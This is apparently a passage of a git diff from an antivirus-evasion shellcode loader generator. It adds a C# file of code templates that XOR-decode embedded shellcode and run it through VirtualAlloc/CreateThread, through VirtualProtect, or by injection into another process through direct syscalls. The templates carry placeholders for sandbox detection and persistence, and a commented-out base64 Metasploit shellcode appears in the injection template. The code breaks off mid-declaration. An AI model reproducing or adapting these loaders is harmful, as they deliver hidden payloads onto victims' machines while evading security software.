+ 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
+
+
+
+ 17, 17
+
+
\ No newline at end of file
diff --git "a/\346\216\251\346\227\2452.0/CS_Template.cs" "b/\346\216\251\346\227\2452.0/CS_Template.cs"
new file mode 100644
index 0000000..c196fd0
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/CS_Template.cs"
@@ -0,0 +1,2441 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace 掩日2._0
+{
+ class CS_Template
+ {
+ //GetProcAddress 执行
+ public static string getprocaddress = @"using System;
+using System.Collections.Generic;
+using System.Deployment.Internal;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Linq;
+
+namespace CS_GetProcAddress
+{
+ class Program
+ {
+ internal static class UnsafeNativeMethods
+ {
+ [DllImport(""Kernel32"")]
+ internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname);
+ [DllImport(""Kernel32"")]
+ internal static extern IntPtr LoadLibraryA(string moduleName);
+ }
+
+ internal delegate UInt32 VirtualAllocInvoker(
+ UInt32 lpStartAddr,
+ UInt32 size,
+ UInt32 flAllocationType,
+ UInt32 flProtect);
+
+ internal delegate IntPtr CreateThreadInvoker(
+ UInt32 lpThreadAttributes,
+ UInt32 dwStackSize,
+ UInt32 lpStartAddress,
+ IntPtr param,
+ UInt32 dwCreationFlags,
+ ref UInt32 lpThreadId);
+
+ internal delegate UInt32 WaitForSingleObjectInvoker(
+ IntPtr hHandle,
+ UInt32 dwMilliseconds
+ );
+
+ public static byte string_to_int(string str)
+ {
+ string temp = str.Substring(str.Length - 2, 2);
+ int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber);
+ return BitConverter.GetBytes(hex)[0];
+ }
+
+ public static byte[] XOR_C(string raw)
+ {
+ string[] shellcode_array = raw.Split(',');
+ byte[] result = new byte[shellcode_array.Length];
+ int j = 234;
+ int add = 12;
+ for (int i = 0; i < shellcode_array.Length; i++)
+ {
+ string temp = string.Format(""{0:x2}"", string_to_int(shellcode_array[i]) ^ 123 ^ j);
+ temp = ""0x"" + temp.Substring(temp.Length - 2, 2);
+ result[i] = string_to_int(temp);
+ j += add;
+ }
+ return result;
+ }
+
+ static void Main(string[] args)
+ {
+ //{{sanbox_vm_detect}}
+ //{{persistence}}
+
+ string xxxx = ""{{shellcode}}"";
+
+ byte[] xxxxx = XOR_C(xxxx);
+
+
+ IntPtr fptrva = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""VirtualAlloc"");
+ VirtualAllocInvoker va =
+ (VirtualAllocInvoker)Marshal.GetDelegateForFunctionPointer(fptrva, typeof(VirtualAllocInvoker));
+
+ IntPtr fptrct = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""CreateThread"");
+
+ IntPtr fptrwf = UnsafeNativeMethods.GetProcAddress(UnsafeNativeMethods.LoadLibraryA(""Kernel32""), ""WaitForSingleObject"");
+
+ CreateThreadInvoker ct = (CreateThreadInvoker)Marshal.GetDelegateForFunctionPointer(fptrct, typeof(CreateThreadInvoker));
+
+ WaitForSingleObjectInvoker wf = (WaitForSingleObjectInvoker)Marshal.GetDelegateForFunctionPointer(fptrwf, typeof(WaitForSingleObjectInvoker));
+
+ UInt32 a = va(0, (UInt32)xxxxx.Length, 0x1000, 0x40);
+ Marshal.Copy(xxxxx, 0, (IntPtr)(a), xxxxx.Length);
+
+ IntPtr hThread = IntPtr.Zero;
+
+ UInt32 threadId = 0;
+
+ IntPtr pinfo = IntPtr.Zero;
+
+ hThread = ct(0, 0, a, pinfo, 0, ref threadId);
+
+ wf(hThread, 0xFFFFFFFF);
+ }
+ }
+}";
+
+ //VirtualProtect 执行
+ public static string virtualprotect = @"using System;
+using System.Collections.Generic;
+using System.Deployment.Internal;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Linq;
+
+namespace CS_GetProcAddress
+{
+ class Program
+ {
+ [DllImport(""kernel32.dll"")]
+ private static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
+
+ private delegate UInt32 xxxxxMethod(UInt32 x, UInt32 y);
+
+ private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
+
+ public static byte string_to_int(string str)
+ {
+ string temp = str.Substring(str.Length - 2, 2);
+ int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber);
+ return BitConverter.GetBytes(hex)[0];
+ }
+
+ public static byte[] XOR_C(string raw)
+ {
+ string[] xxxxx_array = raw.Split(',');
+ byte[] result = new byte[xxxxx_array.Length];
+ //string[] temp = new string[xxxxx_array.Length];
+ int j = 234;
+ int add = 12;
+ for (int i = 0; i < xxxxx_array.Length; i++)
+ {
+ string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j);
+ temp = ""0x"" + temp.Substring(temp.Length - 2, 2);
+ result[i] = string_to_int(temp);
+ j += add;
+ }
+ return result;
+ }
+
+ static void Main(string[] args)
+ {
+ //{{sanbox_vm_detect}}
+ //{{persistence}}
+
+ string xxxx = ""{{shellcode}}"";
+
+ byte[] xxxxx = XOR_C(xxxx);
+
+
+ IntPtr xxxxxPtr = IntPtr.Zero;
+
+ xxxxxPtr = Marshal.AllocCoTaskMem(xxxxx.Length);
+
+ Marshal.Copy(xxxxx, 0, xxxxxPtr, xxxxx.Length);
+
+ UInt32 old;
+
+ VirtualProtect(xxxxxPtr, (UInt32)xxxxx.Length, (UInt32)PAGE_EXECUTE_READWRITE, out old);
+
+ xxxxxMethod scm = (xxxxxMethod)Marshal.GetDelegateForFunctionPointer(xxxxxPtr, typeof(xxxxxMethod));
+
+ scm(4, 9);
+ }
+ }
+}";
+
+ //syscall 注入现有进程
+ public static string syscall_exist = @"using System;
+using System.Runtime.InteropServices;
+using System.Security;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Collections;
+using System.Collections.Generic;
+using System.Deployment.Internal;
+using System.Linq;
+using System.Text;
+
+namespace CS_SysCall
+{
+ class Program
+ {
+ public const int ALLOCWRITE = 1;
+ public const int OPENSEC = 2;
+
+ public static byte string_to_int(string str)
+ {
+ string temp = str.Substring(str.Length - 2, 2);
+ int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber);
+ return BitConverter.GetBytes(hex)[0];
+ }
+
+ public static byte[] XOR_C(string raw)
+ {
+ string[] xxxxx_array = raw.Split(',');
+ byte[] result = new byte[xxxxx_array.Length];
+ int j = 234;
+ int add = 12;
+ for (int i = 0; i < xxxxx_array.Length; i++)
+ {
+ string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j);
+ temp = ""0x"" + temp.Substring(temp.Length - 2, 2);
+ result[i] = string_to_int(temp);
+ j += add;
+ }
+ return result;
+ }
+
+ static unsafe void Main(string[] args)
+ {
+ //{{sanbox_vm_detect}}
+ //{{persistence}}
+ string osV = getOsVers();
+
+ string xxxx = ""{{shellcode}}"";
+
+ byte[] xxxxx = XOR_C(xxxx);
+
+ yr_var_foobar_2_ccx(osV, OPENSEC, {{pid}}, xxxxx);
+ }
+
+ public static string getOsVers()
+ {
+ nativeStructs.OSVERSIONINFOEXW osInfo = new nativeStructs.OSVERSIONINFOEXW();
+ osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo);
+ nativeStructs.RtlGetVersion(ref osInfo);
+ string osV = """";
+
+ switch (osInfo.dwMajorVersion)
+ {
+ case 10:
+ switch (osInfo.dwBuildNumber)
+ {
+ case 10240:
+ osV = ""win10-1507"";
+ break;
+ case 10586:
+ osV = ""win10-1511"";
+ break;
+ case 14393:
+ osV = ""win10-1607"";
+ break;
+ case 15063:
+ osV = ""win10-1703"";
+ break;
+ case 16299:
+ osV = ""win10-1709"";
+ break;
+ case 17134:
+ osV = ""win10-1803"";
+ break;
+ case 17763:
+ osV = ""win10-1809"";
+ break;
+ case 18362:
+ osV = ""win10-1903-9"";
+ break;
+ }
+ break;
+ case 6:
+ switch (osInfo.dwMinorVersion)
+ {
+ case 1:
+ osV = ""w7-08"";
+ break;
+ case 2:
+ osV = ""win8-12"";
+ break;
+ case 3:
+ osV = ""win8.1-12r2"";
+ break;
+ }
+ break;
+ default:
+ osV = """";
+ break;
+ }
+ return osV;
+ }
+
+ public static unsafe int yr_var_foobar_2_ccx(string os, int method, int pid, byte[] yr_var_foobar_1_ccx)
+ {
+
+ //Process targetProcess = Process.GetProcessesByName(processName)[0];
+
+ //int id = targetProcess.Id;
+ int id = pid;
+ //Console.WriteLine(""Injecting yr_var_foobar_1_ccx on pid "" + id);
+
+ //msf messagebox x64
+ //string s = @""/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA=="";
+ //byte[] yr_var_foobar_1_ccx = Convert.FromBase64String(s);
+
+
+
+ nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID();
+ clientid.UniqueProcess = new IntPtr(id);
+ clientid.UniqueThread = IntPtr.Zero;
+
+ IntPtr bufferReal = IntPtr.Zero;
+ IntPtr procHandle = IntPtr.Zero;
+ syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os);
+ IntPtr remoteAddr = new IntPtr();
+
+ switch (method)
+ {
+ case ALLOCWRITE:
+ //Console.WriteLine(""[+] Using ALLOCWRITE method to allocate our yr_var_foobar_1_ccx in the remote process"");
+ UIntPtr sz = new UIntPtr(Convert.ToUInt32(yr_var_foobar_1_ccx.Length));
+
+ syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os);
+
+ IntPtr written = IntPtr.Zero;
+ IntPtr unmanagedPointer = Marshal.AllocHGlobal(yr_var_foobar_1_ccx.Length);
+ Marshal.Copy(yr_var_foobar_1_ccx, 0, unmanagedPointer, yr_var_foobar_1_ccx.Length);
+ syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(yr_var_foobar_1_ccx.Length), ref written, os);
+
+ break;
+ case OPENSEC:
+ //Console.WriteLine(""[+] Using OPENSEC method to allocate our yr_var_foobar_1_ccx in the remote process"");
+ //create required structs/variables
+ IntPtr localAddr = new IntPtr(null);
+ Process thisProc = Process.GetCurrentProcess();
+ nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER();
+ uint size_ = getLowPart((uint)yr_var_foobar_1_ccx.Length);
+ liVal.LowPart = size_;
+
+ //create local section
+ IntPtr section_ = new IntPtr();
+ IntPtr viewSize = (IntPtr)(yr_var_foobar_1_ccx.Length);
+ long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os);
+
+ //map local section
+ status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
+
+ //map remote section
+ status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os);
+
+ //copy yr_var_foobar_1_ccx to local section
+ Marshal.Copy(yr_var_foobar_1_ccx, 0, localAddr, yr_var_foobar_1_ccx.Length);
+
+ break;
+ }
+
+
+
+ //bool is64bit = Environment.Is64BitProcess;
+ int temp1 = 0, temp2 = 0;
+ nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer
+ {
+ Size = sizeof(nativeStructs.NtCreateThreadExBuffer),
+ Unknown1 = 0x10003,
+ Unknown2 = 0x8,
+ Unknown3 = new IntPtr(&temp2),
+ Unknown4 = 0,
+ Unknown5 = 0x10004,
+ Unknown6 = 4,
+ Unknown7 = new IntPtr(&temp1),
+ Unknown8 = 0,
+ };
+ IntPtr hRemoteThread;
+ //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os);
+ //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point.
+ //if ALLOCWRITE then a thread is created poiting to a memory address with our yr_var_foobar_1_ccx
+ syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os);
+
+ return 0;
+ }
+
+ public static uint getLowPart(uint size)
+ {
+ nativeStructs.SYSTEM_INFO info = new nativeStructs.SYSTEM_INFO();
+ nativeStructs.GetSystemInfo(ref info);
+ return (info.dwPageSize - size % info.dwPageSize) + size;
+ }
+ }
+ class nativeStructs
+ {
+
+ public const uint MEM_COMMIT = 0x00001000;
+ public const uint MEM_RESERVE = 0x00002000;
+ public const uint PAGE_EXECUTE_READWRITE = 0x40;
+
+ public const int FILE_READ_DATA = 0x0001; // file & pipe
+ public const int FILE_LIST_DIRECTORY = 0x0001; // directory
+ public const int FILE_WRITE_DATA = 0x0002; // file & pipe
+ public const int FILE_ADD_FILE = 0x0002; // directory
+ public const int FILE_APPEND_DATA = 0x0004; // file
+ public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory
+ public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe
+ public const int FILE_READ_EA = 0x0008; // file & directory
+ public const int FILE_WRITE_EA = 0x0010; // file & directory
+ public const int FILE_EXECUTE = 0x0020; // file
+ public const int FILE_TRAVERSE = 0x0020; // directory
+ public const int FILE_DELETE_CHILD = 0x0040; // directory
+ public const int FILE_READ_ATTRIBUTES = 0x0080; // all
+ public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all
+ public const int FILE_OVERWRITE_IF = 0x00000005;
+ public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020;
+
+ public const long READ_CONTROL = 0x00020000;
+ public const long SYNCHRONIZE = 0x00100000;
+ public const long STANDARD_RIGHTS_WRITE = READ_CONTROL;
+ public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL;
+ public const long STANDARD_RIGHTS_ALL = 0x001F0000;
+
+ public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF;
+ public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF;
+
+ public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
+ public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
+ public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
+ public const UInt32 TOKEN_DUPLICATE = 0x0002;
+ public const UInt32 TOKEN_IMPERSONATE = 0x0004;
+ public const UInt32 TOKEN_QUERY = 0x0008;
+ public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
+ public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
+ public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
+ public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
+ public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
+ public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
+ public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
+ TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
+ TOKEN_ADJUST_SESSIONID);
+ public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
+
+ public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
+
+ public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ |
+ FILE_READ_DATA |
+ FILE_READ_ATTRIBUTES |
+ FILE_READ_EA |
+ SYNCHRONIZE;
+
+ public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE |
+ FILE_WRITE_DATA |
+ FILE_WRITE_ATTRIBUTES |
+ FILE_WRITE_EA |
+ FILE_APPEND_DATA |
+ SYNCHRONIZE;
+
+ public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE |
+ FILE_READ_ATTRIBUTES |
+ FILE_EXECUTE |
+ SYNCHRONIZE;
+
+ public const int FILE_SHARE_READ = 0x00000001;
+ public const int FILE_SHARE_WRITE = 0x00000002;
+ public const int FILE_SHARE_DELETE = 0x00000004;
+ public const int FILE_ATTRIBUTE_READONLY = 0x00000001;
+ public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002;
+ public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004;
+ public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010;
+ public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020;
+ public const int FILE_ATTRIBUTE_DEVICE = 0x00000040;
+ public const int FILE_ATTRIBUTE_NORMAL = 0x00000080;
+ public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100;
+ public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200;
+ public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400;
+ public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800;
+ public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000;
+ public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000;
+ public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000;
+ public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001;
+ public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002;
+ public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004;
+ public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008;
+ public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010;
+ public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020;
+ public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040;
+ public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100;
+ public const int FILE_ACTION_ADDED = 0x00000001;
+ public const int FILE_ACTION_REMOVED = 0x00000002;
+ public const int FILE_ACTION_MODIFIED = 0x00000003;
+ public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004;
+ public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005;
+ public const int MAILSLOT_NO_MESSAGE = -1;
+ public const int MAILSLOT_WAIT_FOREVER = -1;
+ public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001;
+ public const int FILE_CASE_PRESERVED_NAMES = 0x00000002;
+ public const int FILE_UNICODE_ON_DISK = 0x00000004;
+ public const int FILE_PERSISTENT_ACLS = 0x00000008;
+ public const int FILE_FILE_COMPRESSION = 0x00000010;
+ public const int FILE_VOLUME_QUOTAS = 0x00000020;
+ public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040;
+ public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080;
+ public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100;
+ public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000;
+ public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000;
+ public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000;
+ public const int FILE_NAMED_STREAMS = 0x00040000;
+ public const int FILE_READ_ONLY_VOLUME = 0x00080000;
+ public const int CREATE_ALWAYS = 2;
+
+ [StructLayout(LayoutKind.Sequential, Pack = 4)]
+ public struct NtCreateThreadExBuffer
+ {
+ public int Size;
+ public uint Unknown1;
+ public uint Unknown2;
+ public IntPtr Unknown3;
+ public uint Unknown4;
+ public uint Unknown5;
+ public uint Unknown6;
+ public IntPtr Unknown7;
+ public uint Unknown8;
+ };
+
+ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
+ public struct OSVERSIONINFOEXW
+ {
+ public int dwOSVersionInfoSize;
+ public int dwMajorVersion;
+ public int dwMinorVersion;
+ public int dwBuildNumber;
+ public int dwPlatformId;
+ [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
+ public string szCSDVersion;
+ public UInt16 wServicePackMajor;
+ public UInt16 wServicePackMinor;
+ public UInt16 wSuiteMask;
+ public byte wProductType;
+ public byte wReserved;
+ }
+
+
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct LARGE_INTEGER
+ {
+ public UInt32 LowPart;
+ public UInt32 HighPart;
+ }
+
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct SYSTEM_INFO
+ {
+ public uint dwOem;
+ public uint dwPageSize;
+ public IntPtr lpMinAppAddress;
+ public IntPtr lpMaxAppAddress;
+ public IntPtr dwActiveProcMask;
+ public uint dwNumProcs;
+ public uint dwProcType;
+ public uint dwAllocGranularity;
+ public ushort wProcLevel;
+ public ushort wProcRevision;
+ }
+
+
+ [Flags]
+ public enum ProcessAccessFlags : uint
+ {
+ All = 0x001F0FFF,
+ Terminate = 0x00000001,
+ CreateThread = 0x00000002,
